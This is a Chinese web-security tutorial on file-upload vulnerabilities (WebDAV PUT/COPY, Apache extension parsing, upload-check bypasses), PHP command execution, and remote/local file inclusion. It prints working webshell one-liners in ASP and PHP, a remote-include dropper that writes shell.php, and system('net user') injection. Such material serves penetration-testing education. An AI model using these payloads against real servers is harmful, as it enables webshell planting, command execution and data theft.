目录
上传漏洞
(1)WebDav
WebDav(Web-based Distributed Authoringand Versioning)是一种基于HTTPI.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。
在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete 等方法,就可能会 存在一些安全隐患,比如www.secbug.org服务器(IS6.0Web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者就可能通过PUT方法向服务器上传危险本文件,测试步骤如下。
第一步:通过OPTIONS探测服务器所支持的HTTP方法。
请求:
OPTIONS /HTTP/1.1
Host: www.secbug.org
响应:
HTTP/1.1 200 OK
Cache-Control: private
Date: Mon,19 Aug2013 09:41:45 GMT
AllOW: OPTIONS,TRACE,GET,HEAD,DELETE, COPY,MOVE,PROPFIND,PROPPATCH, SEARC
H,MKCOL,LOCK, UNLOCK
Content-Length:0
Accept-Ranges:none
Server:Microsoft-IIs/6.0
MS-Author-Via: DAV
DASL:<DAV:sql>
DAV:1,2
Public:OPTIONS,TRACE,GET,HEAD, DELETE, PUT, POST, COPY,MOVE,MKCOL,PROPFIN
D, PROPPATCH,LOCK, UNLOCK, SEARCH
Set-Cookie:_D_SID-89113465;path=/
第二步:通过PUT方法向服务器上传脚本文件。
请求:
PUT /a.txt HTTP/1.1
Host: www.secbug.org
Content-Length: 30
<%eval request("chopper")%>
响应:
HTTP/1.1 200 OK
Date: Mon,19 Aug2013 09:48:10 GMT
AllOW: OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH,
SEARCH,MKCOL,LOCK, UNLOCK
Content-Length:0
Location: http://www.secbug.org/a.txt
Server: Microsoft-IIs/6.0
第三步: 通过Move 或 Copy 方法改名。
请求:
COPY /a.txt HTTP/1.1
Host: www.secbug.org
Destionation: http://www.secbug.org/cmd.asp
响应:
HTTP/1.1 200 Created
Cache-Control: private
Date: Mon,19 Aug2013 09:53:43 GMT
AIlOW: OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH,
SEARCH,MKCOL,LOCK, UNLOCK
Content-Type: text/html
Location: http://www.secbug.org/cmd.jsp
Server: Microsoft-IIs/6.0
通过这三个步骤,攻击者可以轻易获取一个WebShell,若服务器开启了DELETE方法, 攻击者还可以删除服务器上的任意文件。
请求:
DELETE /HTTP/1.1
Host: www.secbug.org
响应:
HTTP/1.1 200 OK
Date: Mon,19 Aug2013 10:02:08 GMT
Content-Length:0
Server: Microsoft-IIs/6.0
Set-Cookie:_D_SID-89113465;path=/
(2)Apache解析漏洞
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码,比如: 1.php.rar.xs.aa ,Apache首先会解析aa扩展名,如果不认识,将会解析xs扩展名,这样一直遍历到认识的扩展名为止,然后再将其解析。
(3)防止上传漏洞
程序员在防止上传漏洞时可以分为两种:
- 客户端检测:客户端使用JavaScript检测,在文件上传时,就对文件进行验证。
- 服务器检测:服务器脚本一般会检测文件的MIMIE类型,检测文件扩展名是否合法,甚至有些程序员检测文件是否有恶意代码。
“图片一句话”则是将一句话木马插入在图片文件中,而且不损坏图片文件,专业制作软件:Edjpgcom,将图片拖入Edjpgcom.exe的程序中,填写相应的一句话代码,就可以完成一句话木马。
客户端检测
使用BurpSuite拦截上传数据,再将其中的扩展名修改,就可以绕过客户端验证。
PS:HTTP协议中的请求头Content-Length,代表实体正文长度,如果此时的filename修改了也就意味着实体正文长度增加或者减少了,这时就应该修改Content-Length请求头,如Content-Length长度为200,把文件流中的filename="xxser.jpg" 修改为filename="1.php" ,更改后,实体正文减少了4个字节,所以需要把Content-Length修改为196,如果不修改,上传可能失败。
服务端检
主要是:白名单与黑名单过滤、文件类型检测、文件重命名等操作,但是上传漏洞+解析漏洞可以绕过大多数上传验证。
PS:在Window 系统上,如果文件以 “.” 或者空格作为结尾,系统会自动去除 “.” 与空格,利用此特性也可以绕过黑名单验证。如上传“asp.”或者“asp ”扩展名程序,服务器端接收文件后在写文件操作时,Window 将会自动去除小数点和空格。
命令执行漏洞
PHP命令执行
<1>代码执行
PHP中提供了一个叫eval函数,eval()函数可以把字符串按照PHP代码来执行,使用eval()函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。
<2>动态函数调用
<?php
function A(){
return "A()函数....";
}
function B(){
return "B()函数....";
}
$fun = $_REQUEST['fun'];
echo $fun(); //动态调用函数
PHP解析器可以根据$fun的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A();如果$fun的值为phpinfo将打开phpinfo页面,如果还给函数传递参数,如下代码:
<?php
$fun = $_GET['fun'];
$par = $_GET['par'];
?>
那么传入参数fun=system&par=net user,最终执行的函数为system("net user"),则将能查看所有用户。
文件包含漏洞
(1)远程包含文件
只要文件内容符合PHP语法,那么任何扩展名都可以被PHP解析,包含非PHP语法规范源文件时,将会暴露源代码。PHP不仅可以对本地文件进行包含,还可以对远程文件进行包含,当php.ini文件中 allow_url_include=on 时,远程包含功能生效。
例如,http://www.xx2cto.com/根目录下存在php,源代码如下:
<?php
echo "hello world";
?>
Index.php代码如下:
<?php
include($_GET['page']);
?>
访问 URL:http://www.xxser.com/Index.php?page=http://www.2cto.com/php.txt,执行结果为屏幕显示 hello world
(2)远程包含shell
如果目标主机 allow_url_open 选项是激活的,就可以尝试远程包含一句话木马。
例如:http://www.2cto.com/echo.txt,代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
访问 URL:http://www.xxser.com/Index.php?page=http://www.2cto.com/echo.txt,将会在Index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>
(3)PHP封装协议
写入PHP文件,使用php://input 可以执行 PHP 语句,但使用这条语句时需要注意: php://input 受限于 allow_url_include ,需要激活时才能使用。
例如:构造URL:http://www.xxser.com/Index.php?page=php://input,并提交数据为:
<?php system("net user")?>
如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>语句,将会在Index.php所在的目录下生成shell.php。一般在抓包拦截里传一句话木马。